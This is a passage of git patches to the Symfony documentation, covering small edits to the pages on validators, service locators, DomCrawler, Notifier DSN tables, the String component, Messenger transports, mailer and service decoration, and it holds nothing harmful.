     $listeners = [...];
 
     $exceptionListener = new ExceptionListener(...);
@@ -108,7 +108,7 @@ Firewall Listeners
 When the firewall gets notified of the ``kernel.request`` event, it asks
 the firewall map if the request matches one of the secured areas. The first
 secured area that matches the request will return a set of corresponding
-firewall listeners (which each implement :class:`Symfony\\Component\\Security\\Http\\Firewall\\ListenerInterface`).
+firewall listeners (which each is a callable).
 These listeners will all be asked to handle the current request. This basically
 means: find out if the current request contains any information by which
 the user might be authenticated (for instance the Basic HTTP authentication

From 3ba67f7c1f95a37933566df3a5378a1e857b2e69 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Przemys=C5=82aw=20Bogusz?= <przemyslaw.bogusz@tubotax.pl>
Date: Sat, 8 Feb 2020 16:48:26 +0100
Subject: [PATCH 0275/7107] Added choices to message parameters

It was added in this PR:
https://github.com/symfony/symfony/pull/29658
---
 reference/constraints/Choice.rst | 11 ++++++-----
 1 file changed, 6 insertions(+), 5 deletions(-)

diff --git a/reference/constraints/Choice.rst b/reference/constraints/Choice.rst
index 7cc8ae3ac1f..b1407c8add0 100644
--- a/reference/constraints/Choice.rst
+++ b/reference/constraints/Choice.rst
@@ -337,11 +337,12 @@ choices.
 
 You can use the following parameters in this message:
 
-===============  ==============================================================
-Parameter        Description
-===============  ==============================================================
-``{{ value }}``  The current (invalid) value
-===============  ==============================================================
+=================  ============================================================
+Parameter          Description
+=================  ============================================================
+``{{ choices }}``  A comma-separated list of available choices
+``{{ value }}``    The current (invalid) value
+=================  ============================================================
 
 min
 ~~~

From e382dff4f24f01a77de7679a7e9f4ca72e538d4b Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Mon, 10 Feb 2020 19:05:31 +0100
Subject: [PATCH 0276/7107] Update service_subscribers_locators.rst

According to https://github.com/symfony/symfony/issues/34637, `index_by` attribute must be set to make `default_index_method` working
---
 service_container/service_subscribers_locators.rst | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 5a12cf1c3e6..f0075c75378 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -526,7 +526,7 @@ attribute to the locator service defining the name of this custom method:
             # ...
 
             App\HandlerCollection:
-                arguments: [!tagged_locator { tag: 'app.handler', default_index_method: 'myOwnMethodName' }]
+                arguments: [!tagged_locator { tag: 'app.handler', index_by: 'key', default_index_method: 'myOwnMethodName' }]
 
     .. code-block:: xml
 
@@ -542,7 +542,7 @@ attribute to the locator service defining the name of this custom method:
                 <!-- ... -->
 
                 <service id="App\HandlerCollection">
-                    <argument type="tagged_locator" tag="app.handler" default-index-method="myOwnMethodName"/>
+                    <argument type="tagged_locator" tag="app.handler" index-by="key" default-index-method="myOwnMethodName"/>
                 </service>
             </services>
         </container>
@@ -555,9 +555,12 @@ attribute to the locator service defining the name of this custom method:
         return function(ContainerConfigurator $configurator) {
             $configurator->services()
                 ->set(App\HandlerCollection::class)
-                    ->args([tagged_locator('app.handler', null, 'myOwnMethodName')])
+                    ->args([tagged_locator('app.handler', 'key', 'myOwnMethodName')])
             ;
         };
+        
+Note since code should not be the place that decides how the locators are going to be used, a configuration key (`key` in the example above) must be set in order this to work. So the custom method may be called as a fallback.
+        
 
 Service Subscriber Trait
 ------------------------

From 4ce42c965c47af5c65d3c3688a679a37127ae6ff Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gr=C3=A9goire=20Pineau?= <lyrixx@lyrixx.info>
Date: Wed, 5 Feb 2020 11:01:00 +0100
Subject: [PATCH 0277/7107] [DomCrawler] Document UriResolver

---
 components/dom_crawler.rst | 15 +++++++++++++++
 1 file changed, 15 insertions(+)

diff --git a/components/dom_crawler.rst b/components/dom_crawler.rst
index 8bc6a093fc8..ad5e2dd27c8 100644
--- a/components/dom_crawler.rst
+++ b/components/dom_crawler.rst
@@ -620,6 +620,21 @@ the whole form or specific field(s)::
     $form->disableValidation();
     $form['country']->select('Invalid value');
 
+Resolving URI
+~~~~~~~~~~~~~
+
+.. versionadded:: 5.1
+
+    The `UriResolver` helper was added in Symfony 5.1.
+
+The :class:`Symfony\\Component\\DomCrawler\\UriResolver` class takes an URI
+(relative, absolute, fragment, etc.) and turns it into an absolute URI against
+another given base URI.::
+
+    UriResolver::resolve('/foo', 'http://localhost/bar/foo/'); // => 'http://localhost/foo'
+    UriResolver::resolve('?a=b', 'http://localhost/bar#foo'); // => 'http://localhost/bar?a=b'
+    UriResolver::resolve('../../', 'http://localhost/'); // =>  http://localhost/'
+
 Learn more
 ----------
 

From 905d1fc88e5b7bb81ede69935f12ab972fb4c5ab Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 11 Feb 2020 08:46:09 +0100
Subject: [PATCH 0278/7107] minor. refs #13054

---
 components/dom_crawler.rst | 16 +++++++++-------
 1 file changed, 9 insertions(+), 7 deletions(-)

diff --git a/components/dom_crawler.rst b/components/dom_crawler.rst
index ad5e2dd27c8..05f1d17fc54 100644
--- a/components/dom_crawler.rst
+++ b/components/dom_crawler.rst
@@ -620,20 +620,22 @@ the whole form or specific field(s)::
     $form->disableValidation();
     $form['country']->select('Invalid value');
 
-Resolving URI
-~~~~~~~~~~~~~
+Resolving a URI
+~~~~~~~~~~~~~~~
 
 .. versionadded:: 5.1
 
-    The `UriResolver` helper was added in Symfony 5.1.
+    The :class:`Symfony\\Component\\DomCrawler\\UriResolver` helper class was added in Symfony 5.1.
 
 The :class:`Symfony\\Component\\DomCrawler\\UriResolver` class takes an URI
 (relative, absolute, fragment, etc.) and turns it into an absolute URI against
-another given base URI.::
+another given base URI::
+
+    use Symfony\Component\DomCrawler\UriResolver;
 
-    UriResolver::resolve('/foo', 'http://localhost/bar/foo/'); // => 'http://localhost/foo'
-    UriResolver::resolve('?a=b', 'http://localhost/bar#foo'); // => 'http://localhost/bar?a=b'
-    UriResolver::resolve('../../', 'http://localhost/'); // =>  http://localhost/'
+    UriResolver::resolve('/foo', 'http://localhost/bar/foo/'); // http://localhost/foo
+    UriResolver::resolve('?a=b', 'http://localhost/bar#foo'); // http://localhost/bar?a=b
+    UriResolver::resolve('../../', 'http://localhost/'); // http://localhost/
 
 Learn more
 ----------

From 7dc490b24030376aa466936a5c9a0c3adf858996 Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Thu, 30 Jan 2020 20:33:54 +0100
Subject: [PATCH 0279/7107] Fix dead anchor links

---
 security/password_migration.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/security/password_migration.rst b/security/password_migration.rst
index 78455b1f06d..95a58c4f362 100644
--- a/security/password_migration.rst
+++ b/security/password_migration.rst
@@ -127,13 +127,13 @@ Upgrade the Password
 Upon successful login, the Security system checks whether a better algorithm
 is available to hash the user's password. If it is, it'll hash the correct
 password using the new hash. If you use a Guard authenticator, you first need to
-`provide the original password to the Security system <Provide the Password when using Guard>`_.
+:ref:`provide the original password to the Security system <Provide the Password when using Guard>`.
 
 You can enable the upgrade behavior by implementing how this newly hashed
 password should be stored:
 
-* `When using Doctrine's entity user provider <Upgrade the Password when using Doctrine>`_
-* `When using a custom user provider <Upgrade the Password when using a custom User Provider>`_
+* :ref:`When using Doctrine's entity user provider <Upgrade the Password when using Doctrine>`
+* :ref:`When using a custom user provider <Upgrade the Password when using a Custom User Provider>`
 
 After this, you're done and passwords are always hashed as secure as possible!
 

From 2a8bfa3e0430d37b830730e37a65eb84ca7b11b7 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 11 Feb 2020 09:01:44 +0100
Subject: [PATCH 0280/7107] minor to fix syntax. #13018

---
 security/password_migration.rst | 12 +++++++++---
 1 file changed, 9 insertions(+), 3 deletions(-)

diff --git a/security/password_migration.rst b/security/password_migration.rst
index 95a58c4f362..9553d46de5a 100644
--- a/security/password_migration.rst
+++ b/security/password_migration.rst
@@ -127,16 +127,18 @@ Upgrade the Password
 Upon successful login, the Security system checks whether a better algorithm
 is available to hash the user's password. If it is, it'll hash the correct
 password using the new hash. If you use a Guard authenticator, you first need to
-:ref:`provide the original password to the Security system <Provide the Password when using Guard>`.
+:ref:`provide the original password to the Security system <provide-the-password-guard>`.
 
 You can enable the upgrade behavior by implementing how this newly hashed
 password should be stored:
 
-* :ref:`When using Doctrine's entity user provider <Upgrade the Password when using Doctrine>`
-* :ref:`When using a custom user provider <Upgrade the Password when using a Custom User Provider>`
+* :ref:`When using Doctrine's entity user provider <upgrade-the-password-doctrine>`
+* :ref:`When using a custom user provider <upgrade-the-password-custom-provider>`
 
 After this, you're done and passwords are always hashed as secure as possible!
 
+.. _provide-the-password-guard:
+
 Provide the Password when using Guard
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -161,6 +163,8 @@ for this login request. This password is used in the migration process::
         }
     }
 
+.. _upgrade-the-password-doctrine:
+
 Upgrade the Password when using Doctrine
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -190,6 +194,8 @@ storing the newly created password hash::
         }
     }
 
+.. _upgrade-the-password-custom-provider:
+
 Upgrade the Password when using a Custom User Provider
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 3bd5be3330d1666d0ea183d3fb65c73b5e1833ee Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 11 Feb 2020 13:34:26 +0100
Subject: [PATCH 0281/7107] [Notifier] Added the Mattermost and RocketChat
 integrations

---
 notifier.rst | 18 ++++++++++++------
 1 file changed, 12 insertions(+), 6 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 986b5481c9e..07adf1779d1 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -115,12 +115,18 @@ The chat channel is used to send chat messages to users by using
 :class:`Symfony\\Component\\Notifier\\Chatter` classes. Symfony provides
 integration with these chat services:
 
-========  =============================  ============================================
-Service   Package                        DSN
-========  =============================  ============================================
-Slack     ``symfony/slack-notifier``     ``slack://TOKEN@default?channel=CHANNEL``
-Telegram  ``symfony/telegram-notifier``  ``telegram://TOKEN@default?channel=CHAT_ID``
-========  =============================  ============================================
+==========  ===============================  ============================================
+Service     Package                          DSN
+==========  ===============================  ============================================
+Slack       ``symfony/slack-notifier``       ``slack://TOKEN@default?channel=CHANNEL``
+Telegram    ``symfony/telegram-notifier``    ``telegram://TOKEN@default?channel=CHAT_ID``
+Mattermost  ``symfony/mattermost-notifier``  ``mattermost://ENDPOINT?channel=CHANNEL``
+RocketChat  ``symfony/rocketchat-notifier``  ``rocketchat://ENDPOINT?channel=CHANNEL``
+==========  ===============================  ============================================
+
+.. versionadded:: 5.1
+
+    The Mattermost and RocketChat integrations were introduced in Symfony 5.1.
 
 Chatters are configured using the ``chatter_transports`` setting:
 

From d95ed13c78079f3816cc22649edc7eb639a7c558 Mon Sep 17 00:00:00 2001
From: Abdouni Abdelkarim <abdounikarim@gmail.com>
Date: Wed, 12 Feb 2020 02:36:08 +0100
Subject: [PATCH 0282/7107] Update email.rst

---
 email.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/email.rst b/email.rst
index 82c07d06f36..6b76eac6a24 100644
--- a/email.rst
+++ b/email.rst
@@ -408,8 +408,8 @@ the report with details of the sent emails.
 .. tip::
 
     In addition to the features provided by Symfony, there are applications that
-    can help you test emails during application development, like `MailCatcher`_
-    and `MailHog`_.
+    can help you test emails during application development, like `MailCatcher`_,
+    `Mailtrap`_ and `MailHog`_.
 
 How to Spool Emails
 -------------------
@@ -656,6 +656,7 @@ redirected page and the email won't be accessible.
 
 .. _`MailCatcher`: https://github.com/sj26/mailcatcher
 .. _`MailHog`: https://github.com/mailhog/MailHog
+.. _`Mailtrap`: https://mailtrap.io/
 .. _`Swift Mailer`: http://swiftmailer.org/
 .. _`SwiftMailerBundle`: https://github.com/symfony/swiftmailer-bundle
 .. _`Creating Messages`: https://swiftmailer.symfony.com/docs/messages.html

From 809bcbeb78f0442655ba78a66d30b10d1aba97ba Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 12 Feb 2020 14:23:25 +0100
Subject: [PATCH 0283/7107] =?UTF-8?q?Add=20missing=20TOKEN=20to=20DSN?=
 =?UTF-8?q?=E2=80=98s?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 notifier.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 07adf1779d1..9ab85a3e7ec 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -120,8 +120,8 @@ Service     Package                          DSN
 ==========  ===============================  ============================================
 Slack       ``symfony/slack-notifier``       ``slack://TOKEN@default?channel=CHANNEL``
 Telegram    ``symfony/telegram-notifier``    ``telegram://TOKEN@default?channel=CHAT_ID``
-Mattermost  ``symfony/mattermost-notifier``  ``mattermost://ENDPOINT?channel=CHANNEL``
-RocketChat  ``symfony/rocketchat-notifier``  ``rocketchat://ENDPOINT?channel=CHANNEL``
+Mattermost  ``symfony/mattermost-notifier``  ``mattermost://TOKEN@ENDPOINT?channel=CHANNEL``
+RocketChat  ``symfony/rocketchat-notifier``  ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
 ==========  ===============================  ============================================
 
 .. versionadded:: 5.1

From 850c34795b277691a546a650cf7f7c7f24824dc1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 12 Feb 2020 20:21:51 +0100
Subject: [PATCH 0284/7107] [String] Documented the s() function

---
 components/string.rst | 31 +++++++++++++++++++++++--------
 1 file changed, 23 insertions(+), 8 deletions(-)

diff --git a/components/string.rst b/components/string.rst
index b3ca048b75e..1158dc3646c 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -104,20 +104,35 @@ Use the ``wrap()`` static method to instantiate more than one string object::
         new UnicodeString('hello'), new UnicodeString('world'),
     ]); // $contents = ['hello', 'world']
 
-There are two shortcut functions called ``b()`` and ``u()`` to create
-``ByteString`` and ``UnicodeString`` objects::
+If you work with lots of String objects, consider using the shortcut functions
+to make your code more concise::
 
-    // ...
+    // the b() function creates byte strings
     use function Symfony\Component\String\b;
-    use function Symfony\Component\String\u;
 
-    // both are equivalent
+    // both lines are equivalent
     $foo = new ByteString('hello');
     $foo = b('hello');
 
-    // both are equivalent
-    $baz = new UnicodeString('hello');
-    $baz = u('hello');
+    // the u() function creates Unicode strings
+    use function Symfony\Component\String\u;
+
+    // both lines are equivalent
+    $foo = new UnicodeString('hello');
+    $foo = u('hello');
+
+    // the s() function creates a byte string or Unicode string
+    // depending on the given contents
+    use function Symfony\Component\String\u;
+
+    // creates a ByteString object
+    $foo = s('\xfe\xff');
+    // creates a UnicodeString object
+    $foo = s('अनुच्छेद');
+
+.. versionadded:: 5.1
+
+    The ``s()`` function was introduced in Symfony 5.1.
 
 There are also some specialized constructors::
 

From c86a35d21b778d0c0543f899ba610f0b67735e4f Mon Sep 17 00:00:00 2001
From: Savvas Alexandrou <savvas.alexandrou@gmail.com>
Date: Mon, 10 Feb 2020 18:34:09 +0100
Subject: [PATCH 0285/7107] Remove experimental status from String component

---
 components/string.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/components/string.rst b/components/string.rst
index 3db3a5df851..5da1fa2a88a 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -8,11 +8,6 @@ The String Component
     The String component provides a single object-oriented API to work with
     three "unit systems" of strings: bytes, code points and grapheme clusters.
 
-.. versionadded:: 5.0
-
-    The String component was introduced in Symfony 5.0 as an
-    :doc:`experimental feature </contributing/code/experimental>`.
-
 Installation
 ------------
 

From 4a52c6e1b004d6aab75714758afd22078e6eb728 Mon Sep 17 00:00:00 2001
From: fancyweb <calvet.thomas@gmail.com>
Date: Thu, 13 Feb 2020 08:58:02 +0100
Subject: [PATCH 0286/7107] [String] Fix s() namespace

---
 components/string.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/string.rst b/components/string.rst
index 12e506d0136..b4118aef113 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -118,7 +118,7 @@ to make your code more concise::
 
     // the s() function creates a byte string or Unicode string
     // depending on the given contents
-    use function Symfony\Component\String\u;
+    use function Symfony\Component\String\s;
 
     // creates a ByteString object
     $foo = s('\xfe\xff');

From 3d634fa9add3e65d392c9746d87a2bc30a91e661 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 13 Feb 2020 09:03:12 +0100
Subject: [PATCH 0287/7107] [String] Fix quotes

---
 components/string.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/string.rst b/components/string.rst
index b4118aef113..68fde82de13 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -121,7 +121,7 @@ to make your code more concise::
     use function Symfony\Component\String\s;
 
     // creates a ByteString object
-    $foo = s('\xfe\xff');
+    $foo = s("\xfe\xff");
     // creates a UnicodeString object
     $foo = s('अनुच्छेद');
 

From 6a544022174f01841ad40f8d705e72bea8d8549c Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Wed, 29 Jan 2020 12:38:57 +0100
Subject: [PATCH 0288/7107] [Messenger] Transports in separate packages

---
 messenger.rst | 26 +++++++++++++++++++++++++-
 1 file changed, 25 insertions(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index ac1213d25c0..112972cb87f 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -730,6 +730,14 @@ options.
 AMQP Transport
 ~~~~~~~~~~~~~~
 
+.. versionadded:: 5.1
+
+    The AMQP transport has moved to a separate package. Install it by running
+
+    .. code-block:: terminal
+
+        $ composer require symfony/amqp-messenger
+
 The ``amqp`` transport configuration looks like this:
 
 .. code-block:: bash
@@ -753,7 +761,7 @@ You can also configure AMQP-specific settings on your message by adding
 :class:`Symfony\\Component\\Messenger\\Transport\\AmqpExt\\AmqpStamp` to
 your Envelope::
 
-    use Symfony\Component\Messenger\Transport\AmqpExt\AmqpStamp;
+    use Symfony\Component\Messenger\Bridge\Amqp\Transport\AmqpStamp;
     // ...
 
     $attributes = [];
@@ -775,6 +783,14 @@ your Envelope::
 Doctrine Transport
 ~~~~~~~~~~~~~~~~~~
 
+.. versionadded:: 5.1
+
+    The Doctrine transport has moved to a separate package. Install it by running
+
+    .. code-block:: terminal
+
+        $ composer require symfony/doctrine-messenger
+
 The Doctrine transport can be used to store messages in a database table.
 
 .. code-block:: bash
@@ -877,6 +893,14 @@ auto_setup          Whether the table should be created
 Redis Transport
 ~~~~~~~~~~~~~~~
 
+.. versionadded:: 5.1
+
+    The Redis transport has moved to a separate package. Install it by running
+
+    .. code-block:: terminal
+
+        $ composer require symfony/redis-messenger
+
 The Redis transport uses `streams`_ to queue messages.
 
 .. code-block:: bash

From 939ae85e8f694aecaa9ba2e9bd53fb21a7693f66 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 13 Feb 2020 12:59:39 +0100
Subject: [PATCH 0289/7107] Minor tweak

---
 messenger.rst | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index aa4b6064e17..6a42bd0474f 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -734,7 +734,8 @@ AMQP Transport
 
 .. versionadded:: 5.1
 
-    The AMQP transport has moved to a separate package. Install it by running
+    Starting from Symfony 5.1, the AMQP transport has moved to a separate package.
+    Install it by running:
 
     .. code-block:: terminal
 
@@ -787,7 +788,8 @@ Doctrine Transport
 
 .. versionadded:: 5.1
 
-    The Doctrine transport has moved to a separate package. Install it by running
+    Starting from Symfony 5.1, the Doctrine transport has moved to a separate package.
+    Install it by running:
 
     .. code-block:: terminal
 
@@ -897,7 +899,8 @@ Redis Transport
 
 .. versionadded:: 5.1
 
-    The Redis transport has moved to a separate package. Install it by running
+    Starting from Symfony 5.1, the Redis transport has moved to a separate package.
+    Install it by running:
 
     .. code-block:: terminal
 

From d52bca45de59ed7fb72d270b0148dcd4d006771b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 13 Feb 2020 13:02:22 +0100
Subject: [PATCH 0290/7107] [Mailer] Round Robin now selectes the first
 transport randomly

---
 components/mailer.rst | 11 ++++++++---
 1 file changed, 8 insertions(+), 3 deletions(-)

diff --git a/components/mailer.rst b/components/mailer.rst
index de99cf09639..45388e33cb1 100644
--- a/components/mailer.rst
+++ b/components/mailer.rst
@@ -138,9 +138,14 @@ A round-robin transport is configured with two or more transports and the
 
     $dsn = 'roundrobin(postmark+api://ID@default sendgrid+smtp://KEY@default)'
 
-The mailer will start using the first transport and if it fails, it will retry
-the same delivery with the next transports until one of them succeeds (or until
-all of them fail).
+The mailer will start using a randomly selected transport and if it fails, it
+will retry the same delivery with the next transports until one of them succeeds
+(or until all of them fail).
+
+.. versionadded:: 5.1
+
+    The random selection of the first transport was introduced in Symfony 5.1.
+    In previous Symfony versions the first transport was always selected first.
 
 TLS Peer Verification
 ---------------------

From de158334ebce666637bde531c47f51c21a8e5b53 Mon Sep 17 00:00:00 2001
From: Hugo Locurcio <hugo.locurcio@hugo.pro>
Date: Thu, 13 Feb 2020 15:00:15 +0100
Subject: [PATCH 0291/7107] Fix some typos

---
 components/lock.rst        | 2 +-
 controller/upload_file.rst | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index 01331872cfa..a0485959893 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -532,7 +532,7 @@ can be two running containers in parallel.
 
 .. caution::
 
-    When runing on systemd with non-system user and option ``RemoveIPC=yes``
+    When running on systemd with non-system user and option ``RemoveIPC=yes``
     (default value), locks are deleted by systemd when that user logs out.
     Check that process is run with a system user (UID <= SYS_UID_MAX) with
     ``SYS_UID_MAX`` defined in ``/etc/login.defs``, or set the option
diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index c051ba97855..31d17940038 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -74,7 +74,7 @@ so Symfony doesn't try to get/set its value from the related entity::
                     'mapped' => false,
 
                     // make it optional so you don't have to re-upload the PDF file
-                    // everytime you edit the Product details
+                    // every time you edit the Product details
                     'required' => false,
 
                     // unmapped fields can't define their validation using annotations

From 930b2875d8ac0a70f9787e6125b2a3cd94f91aec Mon Sep 17 00:00:00 2001
From: Gergely Pap <gergelypap@users.noreply.github.com>
Date: Thu, 13 Feb 2020 21:02:01 +0100
Subject: [PATCH 0292/7107] Update http_foundation.rst

---
 components/http_foundation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 311ecbe08af..f7ec0c65a54 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -668,4 +668,4 @@ Learn More
 .. _nginx: https://www.nginx.com/resources/wiki/start/topics/examples/xsendfile/
 .. _Apache: https://tn123.org/mod_xsendfile/
 .. _`JSON Hijacking`: http://haacked.com/archive/2009/06/25/json-hijacking.aspx
-.. _OWASP guidelines: https://www.owasp.org/index.php/OWASP_AJAX_Security_Guidelines#Always_return_JSON_with_an_Object_on_the_outside
+.. _OWASP guidelines: https://cheatsheetseries.owasp.org/cheatsheets/AJAX_Security_Cheat_Sheet.html#always-return-json-with-an-object-on-the-outside

From 9991898ddd62250655f83136f0252062c53927f0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 12 Feb 2020 20:12:47 +0100
Subject: [PATCH 0293/7107] [Notifier] Added OvhCloud integration

---
 notifier.rst | 17 +++++++++++------
 1 file changed, 11 insertions(+), 6 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 07adf1779d1..9174960fc84 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -49,12 +49,17 @@ to send SMS messages to mobile phones. This feature requires subscribing to
 a third-party service that sends SMS messages. Symfony provides integration
 with a couple popular SMS services:
 
-=======  ===========================  ========================================
-Service  Package                      DSN
-=======  ===========================  ========================================
-Twilio   ``symfony/twilio-notifier``  ``twilio://SID:TOKEN@default?from=FROM``
-Nexmo    ``symfony/nexmo-notifier``   ``nexmo://KEY:SECRET@default?from=FROM``
-=======  ===========================  ========================================
+========  =============================  ===========================================
+Service   Package                        DSN
+========  =============================  ===========================================
+Twilio    ``symfony/twilio-notifier``    ``twilio://SID:TOKEN@default?from=FROM``
+Nexmo     ``symfony/nexmo-notifier``     ``nexmo://KEY:SECRET@default?from=FROM``
+OvhCloud  ``symfony/ovhcloud-notifier``  ``ovhcloud://KEY:SECRET@default?from=FROM``
+========  =============================  ===========================================
+
+.. versionadded:: 5.1
+
+    The OvhCloud integration was introduced in Symfony 5.1.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From cb07e307e4fdbe4c3845e1b9b8fb61647424ff85 Mon Sep 17 00:00:00 2001
From: Mathias Arlaud <mathias.arlaud@gmail.com>
Date: Mon, 7 Oct 2019 18:31:22 +0200
Subject: [PATCH 0294/7107] Add "Handling decorations on non existent service"

---
 service_container/service_decoration.rst | 111 +++++++++++++++++++++++
 1 file changed, 111 insertions(+)

diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index 5d070345f6f..1a481dfa27f 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -313,4 +313,115 @@ The generated code will be the following::
 
     $this->services[Foo::class] = new Baz(new Bar(new Foo()));
 
+Control the Behavior When the Decorated Service Does Not Exist
+--------------------------------------------------------------
+
+.. versionadded:: 4.4
+
+    The ``decoration_on_invalid`` option has been introduced in Symfony 4.4.
+    In previous versions, a ``ServiceNotFoundException`` was always thrown.
+
+When you decorate a service that doesn't exist, the ``decoration_on_invalid``
+option allows you to choose the behavior to adopt.
+
+Three different behaviors are available:
+
+* ``exception``: A ``ServiceNotFoundException`` will be thrown telling that decorator's dependency is missing. (default)
+* ``ignore``: The container will remove the decorator.
+* ``null``: The container will keep the decorator service and will set the decorated one to ``null``.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        Foo: ~
+
+        Bar:
+            decorates: Foo
+            decoration_on_invalid: ignore
+            arguments: ['@Bar.inner']
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <service id="Foo"/>
+
+                <service id="Bar" decorates="Foo" decoration-on-invalid="ignore">
+                    <argument type="service" id="Bar.inner"/>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use Symfony\Component\DependencyInjection\ContainerInterface;
+
+        return function(ContainerConfigurator $configurator) {
+            $services = $configurator->services();
+
+            $services->set(Foo::class);
+
+            $services->set(Bar::class)
+                ->decorate(Foo::class, null, 0, ContainerInterface::IGNORE_ON_INVALID_REFERENCE)
+                ->args([ref(Bar::class.'.inner')])
+            ;
+        };
+
+.. caution::
+
+    When using ``null``, you may have to update the decorator constructor in
+    order to make decorated dependency nullable.
+
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            App\Service\DecoratorService:
+                decorates: Acme\OptionalBundle\Service\OptionalService
+                decoration_on_invalid: null
+                arguments: ['@App\Service\DecoratorService.inner']
+
+        .. code-block:: php
+
+            namespace App\Service;
+
+            use Acme\OptionalBundle\Service\OptionalService;
+
+            class DecoratorService
+            {
+                private $decorated;
+
+                public function __construct(?OptionalService $decorated)
+                {
+                    $this->decorated = $decorated;
+                }
+
+                public function tellInterestingStuff(): string
+                {
+                    if (!$this->decorated) {
+                        return 'Just one interesting thing';
+                    }
+
+                    return $this->decorated->tellInterestingStuff().' + one more interesting thing';
+                }
+            }
+
+.. note::
+
+    Sometimes, you may want to add a compiler pass that creates service
+    definitions on the fly. If you want to decorate such a service,
+    be sure that your compiler pass is registered with ``PassConfig::TYPE_BEFORE_OPTIMIZATION``
+    type so that the decoration pass will be able to find the created services.
+
 .. _`Decorator pattern`: https://en.wikipedia.org/wiki/Decorator_pattern

From 3c5a889415408c9bcde0bd977a427d7761500f3a Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gerard=20Berengu=C3=A9?= <gerard@bere.cat>
Date: Fri, 14 Feb 2020 13:37:30 +0100
Subject: [PATCH 0295/7107] Fix some paths

---
 routing.rst | 24 ++++++++++++------------
 1 file changed, 12 insertions(+), 12 deletions(-)

diff --git a/routing.rst b/routing.rst
index d178db369a2..946155b3c02 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1162,7 +1162,7 @@ the common configuration using options when importing the routes.
 
         # config/routes/annotations.yaml
         controllers:
-            resource: '../src/Controller/'
+            resource: '../../src/Controller/'
             type: annotation
             # this is added to the beginning of all imported route URLs
             prefix: '/blog'
@@ -1175,7 +1175,7 @@ the common configuration using options when importing the routes.
             # Uncomment this option to make that URL "/blog" instead
             # trailing_slash_on_root: false
             # you can optionally exclude some files/subdirectories when loading annotations
